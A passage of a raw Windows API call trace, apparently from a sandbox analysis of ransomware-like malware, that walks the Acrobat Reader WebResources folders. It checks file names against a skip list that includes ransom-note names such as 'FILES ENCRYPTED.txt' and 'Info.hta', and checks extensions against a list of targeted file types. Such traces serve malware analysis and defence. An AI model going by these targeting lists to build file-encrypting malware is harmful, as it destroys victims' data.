[0285.304] lstrcmpiW (lpString1="ntldr", lpString2="main-cef-win.css") returned 1 [0285.304] lstrcmpiW (lpString1="ntdetect.com", lpString2="main-cef-win.css") returned 1 [0285.304] lstrcmpiW (lpString1="io.sys", lpString2="main-cef-win.css") returned -1 [0285.304] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="main-cef-win.css") returned -1 [0285.304] lstrcmpiW (lpString1="Info.hta", lpString2="main-cef-win.css") returned -1 [0285.304] lstrcmpiW (lpString1="chrome64b.exe", lpString2="main-cef-win.css") returned -1 [0285.304] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css") returned 104 [0285.304] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.304] lstrlenW (lpString="main-cef-win8.css") returned 17 [0285.304] lstrlenW (lpString=".1cd") returned 4 [0285.304] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0285.304] lstrlenW (lpString=".3ds") returned 4 [0285.304] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0285.304] lstrlenW (lpString=".3fr") returned 4 [0285.304] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0285.304] lstrlenW (lpString=".3g2") returned 4 [0285.304] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0285.304] lstrlenW (lpString=".3gp") returned 4 [0285.304] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0285.304] lstrlenW (lpString=".7z") returned 3 [0285.305] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0285.305] lstrlenW (lpString=".accda") returned 6 [0285.305] lstrcmpiW (lpString1=".accda", lpString2="n8.css") returned -1 [0285.305] lstrlenW (lpString=".accdb") returned 6 [0285.305] lstrcmpiW (lpString1=".accdb", lpString2="n8.css") returned -1 [0285.305] lstrlenW (lpString=".accdc") returned 6 [0285.305] lstrcmpiW (lpString1=".accdc", lpString2="n8.css") returned -1 [0285.305] lstrlenW (lpString=".accde") returned 6 [0285.305] lstrcmpiW (lpString1=".accde", lpString2="n8.css") returned -1 [0285.305] lstrlenW (lpString=".accdt") returned 6 [0285.305] lstrcmpiW (lpString1=".accdt", lpString2="n8.css") returned -1 [0285.305] lstrlenW (lpString=".accdw") returned 6 [0285.305] lstrcmpiW (lpString1=".accdw", lpString2="n8.css") returned -1 [0285.305] lstrlenW (lpString=".adb") returned 4 [0285.305] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0285.305] lstrlenW (lpString=".adp") returned 4 [0285.305] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0285.305] lstrlenW (lpString=".ai") returned 3 [0285.305] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0285.305] lstrlenW (lpString=".ai3") returned 4 [0285.305] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0285.305] lstrlenW (lpString=".ai4") returned 4 [0285.305] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0285.305] lstrlenW (lpString=".ai5") returned 4 [0285.305] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0285.305] lstrlenW (lpString=".ai6") returned 4 [0285.306] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0285.306] lstrlenW (lpString=".ai7") returned 4 [0285.306] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0285.306] lstrlenW (lpString=".ai8") returned 4 [0285.306] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0285.306] lstrlenW (lpString=".anim") returned 5 [0285.306] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.306] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.306] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.306] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 0 [0285.306] FindClose (in: hFindFile=0x380bce0 | out: hFindFile=0x380bce0) returned 1 [0285.306] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0285.308] FindNextFileW (in: hFindFile=0x380c020, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0285.308] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0285.309] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images") returned 90 [0285.309] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\*", lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 0x380bda0 [0285.309] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.309] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.309] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.309] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.309] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.309] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.309] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.310] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.310] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.310] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.310] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.310] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.310] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.310] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.310] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.310] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.310] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.310] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.311] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.311] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.311] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44f0738 [0285.311] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\*", lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0x380c0e0 [0285.311] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.311] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.311] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.311] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.311] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.311] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0285.312] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\hi_contrast\\*", lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0x380bd60 [0285.448] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.450] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.450] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.450] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.450] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.450] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.450] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0285.451] FindClose (in: hFindFile=0x380bd60 | out: hFindFile=0x380bd60) returned 1 [0285.452] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0285.453] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.453] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0285.453] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\*", lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0x380c2a0 [0285.480] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.493] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.493] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4661f68 [0285.493] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark") returned 113 [0285.493] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\*", lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0x380bd60 [0285.510] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.510] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.510] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.510] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.511] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0285.511] FindClose (in: hFindFile=0x380bd60 | out: hFindFile=0x380bd60) returned 1 [0285.511] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4661f68 | out: hHeap=0x640000) returned 1 [0285.512] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0285.512] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0285.512] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0285.512] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0 [0285.512] FindClose (in: hFindFile=0x380c0e0 | out: hFindFile=0x380c0e0) returned 1 [0285.512] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0285.512] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.512] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44f0738 [0285.512] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast") returned 102 [0285.512] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\*", lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0x380bce0 [0285.524] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.524] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.524] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.524] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.524] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.524] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.524] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.524] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0 [0285.527] FindClose (in: hFindFile=0x380bce0 | out: hFindFile=0x380bce0) returned 1 [0285.528] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0285.528] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.528] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.529] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.529] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.529] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.529] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.529] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.529] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.529] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.529] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.529] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.529] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.529] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.530] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.530] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.530] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.530] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.530] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44f0738 [0285.530] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes") returned 97 [0285.530] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\*", lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0x380c0e0 [0285.531] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.531] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.531] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0285.531] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark") returned 102 [0285.532] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\*", lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0x380bd60 [0285.536] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.537] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.537] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.537] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.537] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.537] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.537] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.537] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.538] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.538] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.538] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.538] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.538] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.538] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.538] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.538] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.538] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.538] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.538] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.539] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.539] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.539] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.539] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.539] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.539] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.539] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.539] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.539] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.539] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.540] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.540] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.540] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.540] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.540] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.540] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.540] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0285.540] FindClose (in: hFindFile=0x380bd60 | out: hFindFile=0x380bd60) returned 1 [0285.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0285.545] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0 [0285.545] FindClose (in: hFindFile=0x380c0e0 | out: hFindFile=0x380c0e0) returned 1 [0285.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0285.545] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.545] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44f0738 [0285.545] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar") returned 104 [0285.545] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\*", lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0x380c220 [0285.560] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.560] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.561] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.561] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.561] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.561] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.561] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.561] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0285.561] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes") returned 111 [0285.561] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\*", lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0x380bc60 [0285.563] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.563] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.563] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0285.563] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark") returned 116 [0285.563] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\*", lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0x380c2a0 [0285.567] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.567] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.567] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.568] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.568] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.568] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.568] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.568] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0285.568] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0285.569] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0285.569] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0285.569] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0285.569] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0285.569] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.569] FindNextFileW (in: hFindFile=0x380c220, 